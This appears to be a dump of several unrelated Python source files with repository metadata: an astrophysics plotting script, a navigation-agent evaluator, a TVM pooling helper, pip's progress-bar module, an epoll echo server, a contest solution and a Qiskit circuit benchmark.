"""Characteristic optical depth"""
return 0.0089*kappa600*np.sqrt(L4*n)/v10
def xfunc(x, ts, eta):
"""Function to be zeroed to find x"""
return x**2 - (1.0 - np.exp(-2*ts*x)) - eta
R0s = (0.0003, 0.001, 0.003, 0.01, 0.03,
0.1, 0.3, 1.0, 3.0, 10.0, 30.0)
lws = np.linspace(0.3, 2.5, len(R0s))
cformats = { 0.0001: "0.0001 pc", 0.001: "0.001 pc", 0.01: "0.01 pc", 0.1:
"0.1 pc", 1.0: "1 pc", 10.0: "10 pc", }
clevs_to_label = list(cformats.keys())
box_params = dict(fc='w', ec='0.8', lw=0.4, pad=2)
RBW_label = r"Radiation bow wave, $\eta < \tau < 1$"
RBS_label = r"Radiation bow shock, $\tau > 1$"
WBS_label = r"Wind bow shock, $\tau < \eta$"
# Miscellaneous panel-dependent plot params
d = {
"RBW y": {33.0: 1500.0, 20.0: 1e5, 40.0: 2500.0},
"trapped y": {33.0: 250, 20.0: 2.5e5, 40.0: 1.5e5},
"trapped bg": {33.0: 'w', 20.0: 'w', 40.0: 'w'},
"IF tau": {33.0: 0.2, 20.0: 3.7, 40.0: 6.4},
"IF tau gas": {33.0: 5.0, 20.0: 5.0, 40.0: 5.0},
}
T0 = 1000
kappa = 60.0
for M, L4, eta, S49, ax in stardata:
Mlabel = "\n".join([
"M supergiant", "",
rf"$M = {M:.0f}\, M_\odot$",
rf"$L = {1e4*L4:.1e}\, L_\odot$".replace("e+0", r"\times 10^"),
rf"$\eta = {eta}$"])
Rs = rstar(vv/10, nn, L4)
ts = taustar(vv/10, nn, L4, kappa600=kappa/600.0)
a, b = 0.0, 2*np.sqrt(1.0 + eta)
x = chandrupatla(xfunc, a, b, args=(ts, eta))
R0 = x*Rs
tau = 2*x*ts
ax.contourf(vv, nn, tau, (eta, 1.0), colors='k', alpha=0.15)
# ax.contour(vv, nn, tau, (eta/3, eta, 3*eta), colors='r')
# ax.contour(vv, nn, tau, (1.0, 3.0), colors='m')
cs = ax.contour(vv, nn, R0, R0s, linewidths=lws, colors='k')
clevs = [level for level in clevs_to_label if level in cs.levels]
ax.clabel(cs, clevs,
fontsize='x-small', fmt=cformats,
inline=True, inline_spacing=2, use_clabeltext=True)
ax.text(62.0, 1e-2, Mlabel, zorder=100, fontsize='x-small', bbox=box_params)
ax.text(18.0, d["RBW y"][M], RBW_label, rotation=15, fontsize='xx-small', bbox={**box_params, **dict(fc='0.85', ec='0.6')})
ax.text(16.0, 2e6, RBS_label, rotation=15, fontsize='xx-small', bbox=box_params)
ax.text(20.0, 300.0, WBS_label, rotation=15, fontsize='xx-small', bbox=box_params)
#
# Now do the cooling length
#
# Sound speed:
cs = 11.4*np.sqrt(T0/1e4)
# pre-shock Mach number
M0 = vv/cs
# post-shock Mach number
M1 = np.sqrt((M0**2 + 3)/(5*M0**2 - 1))
# post-shock temperature in units of T0
T1 = (5*M0**2 - 1)*(1 + 3/M0**2) / 16
# post-shock density
n1 = nn*4*M0**2 / (M0**2 + 3)
# post-shock velocity
v1 = vv*nn/n1
# Cooling rate
Lam1 = 3.3e-24 * (T1*T0/1e4)**2.3
Lam2 = 1e-20 / (T1*T0/1e4)
k = 3
Lambda = (Lam1**(-k) + Lam2**(-k))**(-1/k)
# Heating rate
Gamma = 1e-26
# Cooling length in parsec
dcool = 3*(1e5*v1)*(1.3806503e-16 * T1*T0) / (n1*(Lambda - Gamma)) / 3.085677582e18
dcool[vv < cs] = np.nan
# Ratio with respect to adiabatic shell thickness
h1 = 0.177*R0
cool_ratio1 = dcool / R0
# Ratio with respect to isothermal shell thickness
h2 = 3*R0/(4*M0**2) * (2 / (1 + np.sqrt(1 + (18/M0**2)) ))
cool_ratio2 = dcool / h2
cs = ax.contour(vv, nn, cool_ratio1, (1.0,),
linewidths=2, colors='b', alpha=0.5)
ax.clabel(cs,
fontsize='xx-small', fmt=r"$d_\mathrm{cool} = R_0$",
inline=True, inline_spacing=2, use_clabeltext=True)
cs = ax.contour(vv, nn, cool_ratio2, (1.0,),
linewidths=1, colors='b', alpha=0.5)
ax.clabel(cs,
fontsize='xx-small', fmt=r"$d_\mathrm{cool} = h_0$",
inline=True, inline_spacing=2, use_clabeltext=True)
ax.set(yscale='log')
axes.set(xlabel=r"$v$, km s$^{-1}$", ylabel=r"$n$, cm$^{-3}$")
sns.despine()
fig.tight_layout()
fig.savefig(figname)
print(figname, end='')
| [
"will@henney.org"
] | will@henney.org |
84b098542f09ce09f47cdfecd5c51858d6f9b957 | 088314e3bd6ca7ef34d15f2aa45b743b363641d9 | /tasks/NDH/eval.py | c642e81a150d653a372f2db34e9c4c14b3f370b0 | [
"MIT"
] | permissive | weituo12321/PREVALENT_R2R | 7a27d580fcbe8f72a209697d053ca3eb2013e3a0 | 868fb53d6b7978bbb10439a59e65044c811ee5c2 | refs/heads/master | 2022-11-24T00:54:32.385940 | 2020-07-24T17:56:42 | 2020-07-24T17:56:42 | 248,832,547 | 8 | 7 | MIT | 2022-11-22T02:10:54 | 2020-03-20T19:07:08 | Python | UTF-8 | Python | false | false | 8,272 | py | ''' Evaluation of agent trajectories '''
import json
import os
import sys
from collections import defaultdict
import networkx as nx
import numpy as np
import pprint
pp = pprint.PrettyPrinter(indent=4)
from env import R2RBatch
from utils import load_datasets, load_nav_graphs
from agent import BaseAgent, StopAgent, RandomAgent, ShortestAgent
class Evaluation(object):
''' Results submission format: [{'instr_id': string, 'trajectory':[(viewpoint_id, heading_rads, elevation_rads),] } ] '''
def __init__(self, splits, path_type='planner_path'):
self.error_margin = 3.0
self.splits = splits
self.gt = {}
self.instr_ids = []
self.scans = []
for item in load_datasets(splits):
self.gt[item['inst_idx']] = item
self.instr_ids.append(item['inst_idx'])
self.scans.append(item['scan'])
# Add 'trusted_path' to gt metadata if necessary.
if path_type == 'trusted_path':
planner_goal = item['planner_path'][-1]
if planner_goal in item['player_path'][1:]:
self.gt[item['inst_idx']]['trusted_path'] = item['player_path'][:]
else:
self.gt[item['inst_idx']]['trusted_path'] = item['planner_path'][:]
self.scans = set(self.scans)
self.instr_ids = set(self.instr_ids)
self.graphs = load_nav_graphs(self.scans)
self.distances = {}
self.path_type = path_type
for scan,G in self.graphs.items(): # compute all shortest paths
self.distances[scan] = dict(nx.all_pairs_dijkstra_path_length(G))
def _get_nearest(self, scan, goal_id, path):
near_id = path[0][0]
near_d = self.distances[scan][near_id][goal_id]
for item in path:
d = self.distances[scan][item[0]][goal_id]
if d < near_d:
near_id = item[0]
near_d = d
return near_id
def _score_item(self, instr_id, path):
''' Calculate error based on the final position in trajectory, and also
the closest position (oracle stopping rule). '''
gt = self.gt[int(instr_id)]
start = gt[self.path_type][0]
assert start == path[0][0], 'Result trajectories should include the start position'
goal = gt[self.path_type][-1]
planner_goal = gt['planner_path'][-1] # for calculating oracle planner success (e.g., passed over desc goal?)
final_position = path[-1][0]
nearest_position = self._get_nearest(gt['scan'], goal, path)
nearest_planner_position = self._get_nearest(gt['scan'], planner_goal, path)
dist_to_end_start = None
dist_to_end_end = None
for end_pano in gt['end_panos']:
d = self.distances[gt['scan']][start][end_pano]
if dist_to_end_start is None or d < dist_to_end_start:
dist_to_end_start = d
d = self.distances[gt['scan']][final_position][end_pano]
if dist_to_end_end is None or d < dist_to_end_end:
dist_to_end_end = d
self.scores['nav_errors'].append(self.distances[gt['scan']][final_position][goal])
self.scores['oracle_errors'].append(self.distances[gt['scan']][nearest_position][goal])
self.scores['oracle_plan_errors'].append(self.distances[gt['scan']][nearest_planner_position][planner_goal])
self.scores['dist_to_end_reductions'].append(dist_to_end_start - dist_to_end_end)
distance = 0 # Work out the length of the path in meters
prev = path[0]
for curr in path[1:]:
if prev[0] != curr[0]:
try:
self.graphs[gt['scan']][prev[0]][curr[0]]
except KeyError as err:
print('Error: The provided trajectory moves from %s to %s but the navigation graph contains no '\
'edge between these viewpoints. Please ensure the provided navigation trajectories '\
'are valid, so that trajectory length can be accurately calculated.' % (prev[0], curr[0]))
raise
distance += self.distances[gt['scan']][prev[0]][curr[0]]
prev = curr
self.scores['trajectory_lengths'].append(distance)
self.scores['shortest_path_lengths'].append(self.distances[gt['scan']][start][goal])
def score(self, output_file):
''' Evaluate each agent trajectory based on how close it got to the goal location '''
self.scores = defaultdict(list)
instr_ids = set(self.instr_ids)
with open(output_file) as f:
for item in json.load(f):
# Check against expected ids
if item['inst_idx'] in instr_ids:
instr_ids.remove(item['inst_idx'])
self._score_item(item['inst_idx'], item['trajectory'])
assert len(instr_ids) == 0, 'Trajectories not provided for %d instruction ids: %s' % (len(instr_ids), instr_ids)
assert len(self.scores['nav_errors']) == len(self.instr_ids)
num_successes = len([i for i in self.scores['nav_errors'] if i < self.error_margin])
sc_idx = np.array([i < self.error_margin for i in self.scores['nav_errors']])
oracle_successes = len([i for i in self.scores['oracle_errors'] if i < self.error_margin])
oracle_plan_successes = len([i for i in self.scores['oracle_plan_errors'] if i < self.error_margin])
spls = []
for err, length, sp in zip(self.scores['nav_errors'], self.scores['trajectory_lengths'], self.scores['shortest_path_lengths']):
if err < self.error_margin:
if sp > 0:
spls.append(sp / max(length, sp))
else: # In IF, some Q/A pairs happen when we're already in the goal region, so taking no action is correct.
spls.append(1 if length == 0 else 0)
else:
spls.append(0)
score_summary ={
'length': np.average(self.scores['trajectory_lengths']),
'nav_error': np.average(self.scores['nav_errors']),
'oracle success_rate': float(oracle_successes)/float(len(self.scores['oracle_errors'])),
'success_rate': float(num_successes)/float(len(self.scores['nav_errors'])),
'spl': np.average(spls),
'oracle path_success_rate': float(oracle_plan_successes)/float(len(self.scores['oracle_plan_errors'])),
'dist_to_end_reduction': sum(self.scores['dist_to_end_reductions']) / float(len(self.scores['dist_to_end_reductions'])),
'sc_dr': sum(np.array(self.scores['dist_to_end_reductions'])[sc_idx]) / float(len(self.scores['dist_to_end_reductions']))
}
assert score_summary['spl'] <= score_summary['success_rate']
return score_summary, self.scores
RESULT_DIR = 'tasks/NDH/results/'
def eval_simple_agents():
# path_type = 'planner_path'
# path_type = 'player_path'
path_type = 'trusted_path'
''' Run simple baselines on each split. '''
for split in ['train', 'val_seen', 'val_unseen', 'test']:
env = R2RBatch(None, batch_size=1, splits=[split], path_type=path_type)
ev = Evaluation([split], path_type=path_type)
for agent_type in ['Stop', 'Shortest', 'Random']:
outfile = '%s%s_%s_agent.json' % (RESULT_DIR, split, agent_type.lower())
agent = BaseAgent.get_agent(agent_type)(env, outfile)
agent.test()
agent.write_results()
score_summary, _ = ev.score(outfile)
print('\n%s' % agent_type)
pp.pprint(score_summary)
def eval_seq2seq():
''' Eval sequence to sequence models on val splits (iteration selected from training error) '''
outfiles = [
RESULT_DIR + 'seq2seq_teacher_imagenet_%s_iter_5000.json',
RESULT_DIR + 'seq2seq_sample_imagenet_%s_iter_20000.json'
]
for outfile in outfiles:
for split in ['val_seen', 'val_unseen']:
ev = Evaluation([split])
score_summary, _ = ev.score(outfile % split)
print('\n%s' % outfile)
pp.pprint(score_summary)
if __name__ == '__main__':
eval_simple_agents()
#eval_seq2seq()
| [
"weituo.hao@gmail.com"
] | weituo.hao@gmail.com |
5e388aaa8b1c889e2a5ad3e841a1666c7eaea2b3 | 74b12c96a73d464e3ca3241ae83a0b6fe984b913 | /python/tvm/relay/backend/contrib/ethosu/tir/pooling.py | 7fdebf05f068c8a5c0a9529650aaaf625625f4c4 | [
"Apache-2.0",
"BSD-3-Clause",
"Zlib",
"MIT",
"LicenseRef-scancode-unknown-license-reference",
"Unlicense",
"BSD-2-Clause"
] | permissive | masahi/tvm | cf765bb892655f02135e1ce3afde88698f026483 | c400f7e871214451b75f20f4879992becfe5e3a4 | refs/heads/master | 2023-08-22T20:46:25.795382 | 2022-04-13T08:47:10 | 2022-04-13T08:47:10 | 138,661,036 | 4 | 2 | Apache-2.0 | 2021-09-03T20:35:19 | 2018-06-25T23:39:51 | Python | UTF-8 | Python | false | false | 3,729 | py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
# pylint: disable=invalid-name, unused-argument
"""Extract information from the pooling operators in TIR."""
from typing import Dict, Tuple
import tvm
from .utils import get_outer_loops, get_op_attrs, get_loads, get_stores
from .dma import get_ifm_params, get_ofm_params
from .spec import SerialKernel, SerialActivation, SerialPooling
def get_pooling_params(
stmt: tvm.tir.AttrStmt,
producers: Dict[tvm.tir.Var, tvm.tir.AttrStmt],
consumers: Dict[tvm.tir.Var, tvm.tir.AttrStmt],
) -> Tuple[SerialPooling, tvm.tir.Var, tvm.tir.Var]:
"""Get the parameters necessary to construct a call_extern for a pooling.
Parameters
----------
stmt : tvm.tir.AttrStmt
The outermost attribute statement of a convolution loop nest.
producers : Dict[tvm.tir.Var, tvm.tir.AttrStmt]
A dictionary to associate pointers with the loop nest
that produces their values.
consumers : Dict[tvm.tir.Var, tvm.tir.AttrStmt]
A dictionary to associate pointers with the loop nest
that consumes their values.
Returns
-------
SerialPooling
The parameters needed to construct a 2D convolution.
output_pointer : tvm.tir.Var
The output pointer of the convolution operation.
replace_pointer : tvm.tir.Var
The output pointer of the DMA write operation, which is to replace
the convolution output pointer.
is_allocator : bool
Whether this operator allocates its output.
"""
attrs, body = get_op_attrs(stmt)
_, _, _, _, _, inner = get_outer_loops(body, "NHWC")
rh = inner
rw = rh.body
# loads = [output, input, LUT, LUT]
loads = get_loads(rw.body)
# stores = [output]
stores = get_stores(rw.body)
input_pointer = loads[1].buffer.data
output_pointer = stores[0].buffer.data
# Get feature map info
serial_ifm, serial_padding = get_ifm_params(input_pointer, producers)
serial_ofm, serial_block_config, replace_pointer, is_allocator = get_ofm_params(
output_pointer, consumers, producers
)
# Get kernel info
serial_kernel = SerialKernel(
width=int(rw.extent),
height=int(rh.extent),
stride_w=int(attrs["stride_w"]),
stride_h=int(attrs["stride_h"]),
dilation_w=1,
dilation_h=1,
)
# Get activation info
serial_activation = SerialActivation(
op=attrs["activation"], clip_min=attrs["clip_min"], clip_max=attrs["clip_max"]
)
return (
SerialPooling(
ifm=serial_ifm,
ofm=serial_ofm,
pooling_type=attrs["pooling_type"],
pool_shape=serial_kernel,
padding=serial_padding,
activation=serial_activation,
rounding_mode=attrs["rounding_mode"],
upscale=attrs["upscale"],
block_config=serial_block_config,
),
output_pointer,
replace_pointer,
is_allocator,
)
| [
"noreply@github.com"
] | masahi.noreply@github.com |
79e117c269dacbcef4971383833eb94557dd58d8 | b48ca98425b9510d16623277a0761a33c00d028d | /SeatReservation-Version3.0/SeatReservation-master/venv/Lib/site-packages/pip-9.0.1-py3.6.egg/pip/utils/ui.py | f036ae7639247d194c377af4e8f5227175c154ff | [] | no_license | billgoo/WHULibSeatReservation | f74a01db19f51a2034772d932c59afd9f63c7753 | 5423ef7df253739ccf279365c1dec1ebfe7f2c4f | refs/heads/master | 2020-04-02T07:18:33.174744 | 2018-12-23T15:26:15 | 2018-12-23T15:26:15 | 154,190,237 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 11,872 | py |
import itertools
import sys
from signal import signal, SIGINT, default_int_handler
import time
import contextlib
import logging
from pip.compat import WINDOWS
from pip.utils import format_size
from pip.utils.logging import get_indentation
from pip._vendor import six
from pip._vendor.progress.bar import Bar, IncrementalBar
from pip._vendor.progress.helpers import (WritelnMixin,
HIDE_CURSOR, SHOW_CURSOR)
from pip._vendor.progress.spinner import Spinner
try:
from pip._vendor import colorama
# Lots of different errors can come from this, including SystemError and
# ImportError.
except Exception:
colorama = None
logger = logging.getLogger(__name__)
def _select_progress_class(preferred, fallback):
encoding = getattr(preferred.file, "encoding", None)
# If we don't know what encoding this file is in, then we'll just assume
# that it doesn't support unicode and use the ASCII bar.
if not encoding:
return fallback
# Collect all of the possible characters we want to use with the preferred
# bar.
characters = [
getattr(preferred, "empty_fill", six.text_type()),
getattr(preferred, "fill", six.text_type()),
]
characters += list(getattr(preferred, "phases", []))
# Try to decode the characters we're using for the bar using the encoding
# of the given file, if this works then we'll assume that we can use the
# fancier bar and if not we'll fall back to the plaintext bar.
try:
six.text_type().join(characters).encode(encoding)
except UnicodeEncodeError:
return fallback
else:
return preferred
_BaseBar = _select_progress_class(IncrementalBar, Bar)
class InterruptibleMixin(object):
"""
Helper to ensure that self.finish() gets called on keyboard interrupt.
This allows downloads to be interrupted without leaving temporary state
(like hidden cursors) behind.
This class is similar to the progress library's existing SigIntMixin
helper, but as of version 1.2, that helper has the following problems:
1. It calls sys.exit().
2. It discards the existing SIGINT handler completely.
3. It leaves its own handler in place even after an uninterrupted finish,
which will have unexpected delayed effects if the user triggers an
unrelated keyboard interrupt some time after a progress-displaying
download has already completed, for example.
"""
def __init__(self, *args, **kwargs):
"""
Save the original SIGINT handler for later.
"""
super(InterruptibleMixin, self).__init__(*args, **kwargs)
self.original_handler = signal(SIGINT, self.handle_sigint)
# If signal() returns None, the previous handler was not installed from
# Python, and we cannot restore it. This probably should not happen,
# but if it does, we must restore something sensible instead, at least.
# The least bad option should be Python's default SIGINT handler, which
# just raises KeyboardInterrupt.
if self.original_handler is None:
self.original_handler = default_int_handler
def finish(self):
"""
Restore the original SIGINT handler after finishing.
This should happen regardless of whether the progress display finishes
normally, or gets interrupted.
"""
super(InterruptibleMixin, self).finish()
signal(SIGINT, self.original_handler)
def handle_sigint(self, signum, frame):
"""
Call self.finish() before delegating to the original SIGINT handler.
This handler should only be in place while the progress display is
active.
"""
self.finish()
self.original_handler(signum, frame)
class DownloadProgressMixin(object):
def __init__(self, *args, **kwargs):
super(DownloadProgressMixin, self).__init__(*args, **kwargs)
self.message = (" " * (get_indentation() + 2)) + self.message
@property
def downloaded(self):
return format_size(self.index)
@property
def download_speed(self):
# Avoid zero division errors...
if self.avg == 0.0:
return "..."
return format_size(1 / self.avg) + "/s"
@property
def pretty_eta(self):
if self.eta:
return "eta %s" % self.eta_td
return ""
def iter(self, it, n=1):
for x in it:
yield x
self.next(n)
self.finish()
class WindowsMixin(object):
def __init__(self, *args, **kwargs):
# The Windows terminal does not support the hide/show cursor ANSI codes
# even with colorama. So we'll ensure that hide_cursor is False on
# Windows.
# This call neds to go before the super() call, so that hide_cursor
# is set in time. The base progress bar class writes the "hide cursor"
# code to the terminal in its init, so if we don't set this soon
# enough, we get a "hide" with no corresponding "show"...
if WINDOWS and self.hide_cursor:
self.hide_cursor = False
super(WindowsMixin, self).__init__(*args, **kwargs)
# Check if we are running on Windows and we have the colorama module,
# if we do then wrap our file with it.
if WINDOWS and colorama:
self.file = colorama.AnsiToWin32(self.file)
# The progress code expects to be able to call self.file.isatty()
# but the colorama.AnsiToWin32() object doesn't have that, so we'll
# add it.
self.file.isatty = lambda: self.file.wrapped.isatty()
# The progress code expects to be able to call self.file.flush()
# but the colorama.AnsiToWin32() object doesn't have that, so we'll
# add it.
self.file.flush = lambda: self.file.wrapped.flush()
class DownloadProgressBar(WindowsMixin, InterruptibleMixin,
DownloadProgressMixin, _BaseBar):
file = sys.stdout
message = "%(percent)d%%"
suffix = "%(downloaded)s %(download_speed)s %(pretty_eta)s"
class DownloadProgressSpinner(WindowsMixin, InterruptibleMixin,
DownloadProgressMixin, WritelnMixin, Spinner):
file = sys.stdout
suffix = "%(downloaded)s %(download_speed)s"
def next_phase(self):
if not hasattr(self, "_phaser"):
self._phaser = itertools.cycle(self.phases)
return next(self._phaser)
def update(self):
message = self.message % self
phase = self.next_phase()
suffix = self.suffix % self
line = ''.join([
message,
" " if message else "",
phase,
" " if suffix else "",
suffix,
])
self.writeln(line)
################################################################
# Generic "something is happening" spinners
#
# We don't even try using progress.spinner.Spinner here because it's actually
# simpler to reimplement from scratch than to coerce their code into doing
# what we need.
################################################################
@contextlib.contextmanager
def hidden_cursor(file):
# The Windows terminal does not support the hide/show cursor ANSI codes,
# even via colorama. So don't even try.
if WINDOWS:
yield
# We don't want to clutter the output with control characters if we're
# writing to a file, or if the user is running with --quiet.
# See https://github.com/pypa/pip/issues/3418
elif not file.isatty() or logger.getEffectiveLevel() > logging.INFO:
yield
else:
file.write(HIDE_CURSOR)
try:
yield
finally:
file.write(SHOW_CURSOR)
class RateLimiter(object):
def __init__(self, min_update_interval_seconds):
self._min_update_interval_seconds = min_update_interval_seconds
self._last_update = 0
def ready(self):
now = time.time()
delta = now - self._last_update
return delta >= self._min_update_interval_seconds
def reset(self):
self._last_update = time.time()
class InteractiveSpinner(object):
def __init__(self, message, file=None, spin_chars="-\\|/",
# Empirically, 8 updates/second looks nice
min_update_interval_seconds=0.125):
self._message = message
if file is None:
file = sys.stdout
self._file = file
self._rate_limiter = RateLimiter(min_update_interval_seconds)
self._finished = False
self._spin_cycle = itertools.cycle(spin_chars)
self._file.write(" " * get_indentation() + self._message + " ... ")
self._width = 0
def _write(self, status):
assert not self._finished
# Erase what we wrote before by backspacing to the beginning, writing
# spaces to overwrite the old text, and then backspacing again
backup = "\b" * self._width
self._file.write(backup + " " * self._width + backup)
# Now we have a blank slate to add our status
self._file.write(status)
self._width = len(status)
self._file.flush()
self._rate_limiter.reset()
def spin(self):
if self._finished:
return
if not self._rate_limiter.ready():
return
self._write(next(self._spin_cycle))
def finish(self, final_status):
if self._finished:
return
self._write(final_status)
self._file.write("\n")
self._file.flush()
self._finished = True
# Used for dumb terminals, non-interactive installs (no tty), etc.
# We still print updates occasionally (once every 60 seconds by default) to
# act as a keep-alive for systems like Travis-CI that take lack-of-output as
# an indication that a task has frozen.
class NonInteractiveSpinner(object):
def __init__(self, message, min_update_interval_seconds=60):
self._message = message
self._finished = False
self._rate_limiter = RateLimiter(min_update_interval_seconds)
self._update("started")
def _update(self, status):
assert not self._finished
self._rate_limiter.reset()
logger.info("%s: %s", self._message, status)
def spin(self):
if self._finished:
return
if not self._rate_limiter.ready():
return
self._update("still running...")
def finish(self, final_status):
if self._finished:
return
self._update("finished with status '%s'" % (final_status,))
self._finished = True
@contextlib.contextmanager
def open_spinner(message):
# Interactive spinner goes directly to sys.stdout rather than being routed
# through the logging system, but it acts like it has level INFO,
# i.e. it's only displayed if we're at level INFO or better.
# Non-interactive spinner goes through the logging system, so it is always
# in sync with logging configuration.
if sys.stdout.isatty() and logger.getEffectiveLevel() <= logging.INFO:
spinner = InteractiveSpinner(message)
else:
spinner = NonInteractiveSpinner(message)
try:
with hidden_cursor(sys.stdout):
yield spinner
except KeyboardInterrupt:
spinner.finish("canceled")
raise
except Exception:
spinner.finish("error")
raise
else:
spinner.finish("done")
| [
"noreply@github.com"
] | billgoo.noreply@github.com |
9042bc2e7dfed5812249fb189fa1277d8d1c2be2 | 8f26514c451e2398d5e3688c184ea74d1dad21b2 | /month_02/teacher/day16/epoll_server.py | d519fab12014a4ac0890707f142243e5f1733a11 | [] | no_license | CircularWorld/Python_exercise | 25e7aebe45b4d2ee4e3e3afded082c56483117de | 96d4d9c5c626f418803f44584c5350b7ce514368 | refs/heads/master | 2022-11-21T07:29:39.054971 | 2020-07-20T10:12:24 | 2020-07-20T10:12:24 | 281,081,559 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,421 | py | """
基于epoll方法实现IO并发
重点代码 !
"""
from socket import *
from select import *
# 全局变量
HOST = "0.0.0.0"
PORT = 8889
ADDR = (HOST,PORT)
# 创建tcp套接字
tcp_socket = socket()
tcp_socket.bind(ADDR)
tcp_socket.listen(5)
# 设置为非阻塞
tcp_socket.setblocking(False)
p = epoll() # 建立epoll对象
p.register(tcp_socket,EPOLLIN) # 初始监听对象
# 准备工作，建立文件描述符 和 IO对象对应的字典 时刻与register的IO一致
map = {tcp_socket.fileno():tcp_socket}
# 循环监听
while True:
# 对关注的IO进行监控
events = p.poll()
# events--> [(fileno,event),()....]
for fd,event in events:
# 分情况讨论
if fd == tcp_socket.fileno():
# 处理客户端连接
connfd, addr = map[fd].accept()
print("Connect from", addr)
connfd.setblocking(False) # 设置非阻塞
p.register(connfd,EPOLLIN|EPOLLERR) # 添加到监控
map[connfd.fileno()] = connfd # 同时维护字典
elif event == EPOLLIN:
# 收消息
data = map[fd].recv(1024)
if not data:
# 客户端退出
p.unregister(fd) # 移除关注
map[fd].close()
del map[fd] # 从字典也移除
continue
print(data.decode())
map[fd].send(b'OK')
| [
"jiayuhaowork@163.com"
] | jiayuhaowork@163.com |
6ab5b5216d0eb2a8650fcd1a62bcbabf049f5313 | bf99b1b14e9ca1ad40645a7423f23ef32f4a62e6 | /AtCoder/abc/089c_2.py | 94da387294f84700a87543a31909ed7bb1b5e285 | [] | no_license | y-oksaku/Competitive-Programming | 3f9c1953956d1d1dfbf46d5a87b56550ff3ab3db | a3ff52f538329bed034d3008e051f30442aaadae | refs/heads/master | 2021-06-11T16:14:12.635947 | 2021-05-04T08:18:35 | 2021-05-04T08:18:35 | 188,639,647 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 344 | py | from itertools import combinations
from collections import defaultdict
import sys
input = sys.stdin.readline
N = int(input())
cnt = defaultdict(int)
for _ in range(N):
s = input()
cnt[s[0]] += 1
ans = 0
for h in combinations(['M', 'A', 'R', 'C', 'H'], r=3):
prd = 1
for s in h:
prd *= cnt[s]
ans += prd
print(ans)
| [
"y.oksaku@stu.kanazawa-u.ac.jp"
] | y.oksaku@stu.kanazawa-u.ac.jp |
9515c0bdd85d803050097e6ea7dac81417d8aa7d | 09e57dd1374713f06b70d7b37a580130d9bbab0d | /benchmark/startQiskit_QC2883.py | 3831cd0f21334b15907eb8542ea5d15be806d7d0 | [
"BSD-3-Clause"
] | permissive | UCLA-SEAL/QDiff | ad53650034897abb5941e74539e3aee8edb600ab | d968cbc47fe926b7f88b4adf10490f1edd6f8819 | refs/heads/main | 2023-08-05T04:52:24.961998 | 2021-09-19T02:56:16 | 2021-09-19T02:56:16 | 405,159,939 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,471 | py | # qubit number=4
# total number=40
import cirq
import qiskit
from qiskit import IBMQ
from qiskit.providers.ibmq import least_busy
from qiskit import QuantumCircuit, QuantumRegister, ClassicalRegister
from qiskit import BasicAer, execute, transpile
from pprint import pprint
from qiskit.test.mock import FakeVigo
from math import log2
import numpy as np
import networkx as nx
def bitwise_xor(s: str, t: str) -> str:
length = len(s)
res = []
for i in range(length):
res.append(str(int(s[i]) ^ int(t[i])))
return ''.join(res[::-1])
def bitwise_dot(s: str, t: str) -> str:
length = len(s)
res = 0
for i in range(length):
res += int(s[i]) * int(t[i])
return str(res % 2)
def build_oracle(n: int, f) -> QuantumCircuit:
# implement the oracle O_f
# NOTE: use multi_control_toffoli_gate ('noancilla' mode)
# https://qiskit.org/documentation/_modules/qiskit/aqua/circuits/gates/multi_control_toffoli_gate.html
# https://quantumcomputing.stackexchange.com/questions/3943/how-do-you-implement-the-toffoli-gate-using-only-single-qubit-and-cnot-gates
# https://quantumcomputing.stackexchange.com/questions/2177/how-can-i-implement-an-n-bit-toffoli-gate
controls = QuantumRegister(n, "ofc")
target = QuantumRegister(1, "oft")
oracle = QuantumCircuit(controls, target, name="Of")
for i in range(2 ** n):
rep = np.binary_repr(i, n)
if f(rep) == "1":
for j in range(n):
if rep[j] == "0":
oracle.x(controls[j])
oracle.mct(controls, target[0], None, mode='noancilla')
for j in range(n):
if rep[j] == "0":
oracle.x(controls[j])
# oracle.barrier()
return oracle
def make_circuit(n:int,f) -> QuantumCircuit:
# circuit begin
input_qubit = QuantumRegister(n,"qc")
classical = ClassicalRegister(n, "qm")
prog = QuantumCircuit(input_qubit, classical)
prog.h(input_qubit[3]) # number=20
prog.cz(input_qubit[0],input_qubit[3]) # number=21
prog.h(input_qubit[3]) # number=22
prog.x(input_qubit[3]) # number=13
prog.h(input_qubit[3]) # number=23
prog.cz(input_qubit[0],input_qubit[3]) # number=24
prog.h(input_qubit[3]) # number=25
prog.h(input_qubit[1]) # number=2
prog.h(input_qubit[2]) # number=3
prog.h(input_qubit[3]) # number=4
prog.h(input_qubit[0]) # number=5
prog.y(input_qubit[2]) # number=18
prog.cx(input_qubit[3],input_qubit[0]) # number=37
prog.z(input_qubit[3]) # number=38
prog.cx(input_qubit[3],input_qubit[0]) # number=39
oracle = build_oracle(n-1, f)
prog.append(oracle.to_gate(),[input_qubit[i] for i in range(n-1)]+[input_qubit[n-1]])
prog.h(input_qubit[1]) # number=6
prog.h(input_qubit[2]) # number=7
prog.h(input_qubit[3]) # number=8
prog.h(input_qubit[0]) # number=9
prog.h(input_qubit[0]) # number=33
prog.cz(input_qubit[2],input_qubit[0]) # number=34
prog.h(input_qubit[0]) # number=35
prog.h(input_qubit[1]) # number=19
prog.h(input_qubit[0]) # number=15
prog.cz(input_qubit[2],input_qubit[0]) # number=16
prog.h(input_qubit[0]) # number=17
prog.rx(1.6838936623241292,input_qubit[2]) # number=36
prog.y(input_qubit[1]) # number=26
prog.y(input_qubit[1]) # number=27
prog.swap(input_qubit[1],input_qubit[0]) # number=29
prog.swap(input_qubit[1],input_qubit[0]) # number=30
prog.x(input_qubit[0]) # number=31
prog.x(input_qubit[0]) # number=32
# circuit end
for i in range(n):
prog.measure(input_qubit[i], classical[i])
return prog
if __name__ == '__main__':
a = "111"
b = "0"
f = lambda rep: bitwise_xor(bitwise_dot(a, rep), b)
prog = make_circuit(4,f)
IBMQ.load_account()
provider = IBMQ.get_provider(hub='ibm-q')
provider.backends()
